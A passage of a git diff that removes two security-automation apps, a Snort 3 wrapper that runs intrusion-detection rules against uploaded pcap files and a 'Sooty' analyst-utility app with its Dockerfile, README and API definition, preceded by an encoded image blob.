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 diff --git a/snort3/1.0.0/requirements.txt b/snort3/1.0.0/requirements.txt deleted file mode 100644 index 64fe70a3..00000000 --- a/snort3/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -# No extra requirements needed -requests==2.25.1 \ No newline at end of file diff --git a/snort3/1.0.0/src/app.py b/snort3/1.0.0/src/app.py deleted file mode 100644 index fd5a600f..00000000 --- a/snort3/1.0.0/src/app.py +++ /dev/null @@ -1,125 +0,0 @@ -import asyncio -import json -import re -import subprocess - -from walkoff_app_sdk.app_base import AppBase - - -class snort3(AppBase): - __version__ = "1.0.0" - app_name = "snort3" - - def __init__(self, redis, logger, console_logger=None): - super().__init__(redis, logger, console_logger) - - def create_snort_file(self, file_ref): - - print(f"Retrieving file {file_ref}.") - - re_hash = re.compile("[a-fA-F0-9]{8}-([a-fA-F0-9]{4}-){3}[a-fA-F0-9]{12}") - if re_hash.match(file_ref) is None: - raise (ValueError("File reference must be a supported hash value.")) - - target_dir = "/app" - ref_dict = self.get_file(file_ref) - - target_path = target_dir + "/" + ref_dict["filename"] - with open(target_path, "xb") as tmp_file: - tmp_file.write(ref_dict["data"]) - tmp_file.close() - - return target_path - - def run_snort_scan(self, config_path, rules_path, pcap_path): - - cmd = [ - "snort", - "-c", - config_path, - "-R", - rules_path, - "-r", - pcap_path, - "-A", - "alert_fast", - ] - print("Executing the following command: {}".format(" ".join(cmd))) - result = subprocess.run( - cmd, - capture_output=True, - text=True, - ) - - alerts = [] - for line in result.stdout.split("\n"): - if "[**]" in line: - alerts.append(line) - - return_data = { - "success": True, - "return_code": result.returncode, - "alerts": alerts, - "errors": result.stderr, - "pcap": {"name": pcap_path}, - "cmd": cmd, - } - return return_data - - def simple_analyze_file(self, config_file, rules_file, pcap_file): - - rules_path = self.create_snort_file(rules_file) - pcap_path = self.create_snort_file(pcap_file) - - config_path = "/usr/local/etc/snort/snort.lua" - if len(config_file) > 0: - config_path = self.create_snort_file(config_file) - - return_data = self.run_snort_scan(config_path, rules_path, pcap_path) - - try: - return json.dumps(return_data) - except (json.JSONDecodeError, TypeError): - return return_data - - def version_check(self): - - result = subprocess.run( - ["snort", "-V", "-u", "snort3"], capture_output=True, text=True - ) - - return_data = { - "success": True, - "return_code": result.returncode, - "output": result.stdout, - "errors": result.stderr, - } - - try: - return json.dumps(return_data) - except (json.JSONDecodeError, TypeError): - return return_data - - def custom_rule_scan(self, config_file, custom_rule, pcap_file): - - pcap_path = self.create_snort_file(pcap_file) - - config_path = "/usr/local/etc/snort/snort.lua" - if len(config_file) > 0: - config_path = self.create_snort_file(config_file) - - rules_path = "/app/my.rules" - with open(rules_path, "xb") as tmp_file: - tmp_file.write(custom_rule.encode("utf-8")) - tmp_file.close() - - return_data = self.run_snort_scan(config_path, rules_path, pcap_path) - - try: - return json.dumps(return_data) - except (json.JSONDecodeError, TypeError): - return return_data - - -if __name__ == "__main__": - snort3.run() diff --git a/sooty/1.0.0/Dockerfile b/sooty/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/sooty/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/sooty/1.0.0/README.md b/sooty/1.0.0/README.md deleted file mode 100644 index 24a3ff20..00000000 --- a/sooty/1.0.0/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# Sooty app -Reference : [Sooty](https://github.com/TheresAFewConors/Sooty) - -## Actions - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | Urlsanitise | Sanitise URL's to be safe to send in emails. | Url -|2 | urlDecoder | Inverse operation of URL encoding. | Url -|3 | SafelinksDecoder | Office Safelinks Decoder | Url -|4 | UnshortenUrl | Unshorten URL's that have been shortened by external services. (Limited to 10 requests per hour) | Url -|5 | Cisco7Decoder | Decode Cisco7 Passwords. | Password -|6 | DnsLookup | Perform DNS lookups | Domain_name -|7 | HashText | Hashes plain text to unreadable text. | Text -|8 | WhoIs | Perform WhoIs Lookups | Ip - -ReverseDnsLookup function is yet to be added. diff --git a/sooty/1.0.0/api.yaml b/sooty/1.0.0/api.yaml deleted file mode 100644 index 88581693..00000000 --- a/sooty/1.0.0/api.yaml +++ /dev/null @@ -1,103 +0,0 @@ -app_version: 1.0.0 -name: Sooty -description: A test app made for replicate Sooty functions -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -actions: - - name: Urlsanitise - description: Sanitise the url - parameters: - - name: url - description: url address - required: true - multiline: false - example: 'https://www.amazon.com/gp/help/customer/display.html?nodeId=508510&ref_=nav_cs_customerservice' - schema: - type: string - - name: UrlDecoder - description: Decodes url - parameters: - - name: url - description: url address - required: true - multiline: false - example: 'https://www.amazon.com/gp/help/customer/display.html?nodeId=508510&ref_=nav_cs_customerservice' - schema: - type: string - - name: SafelinksDecoder - description: Decodes url - parameters: - - name: url - description: url address - required: true - multiline: false - example: 'https://www.amazon.com/gp/help/customer/display.html?nodeId=508510&ref_=nav_cs_customerservice' - schema: - type: string - - name: UnshortenUrl - description: Unshortens given url if possible - parameters: - - name: url 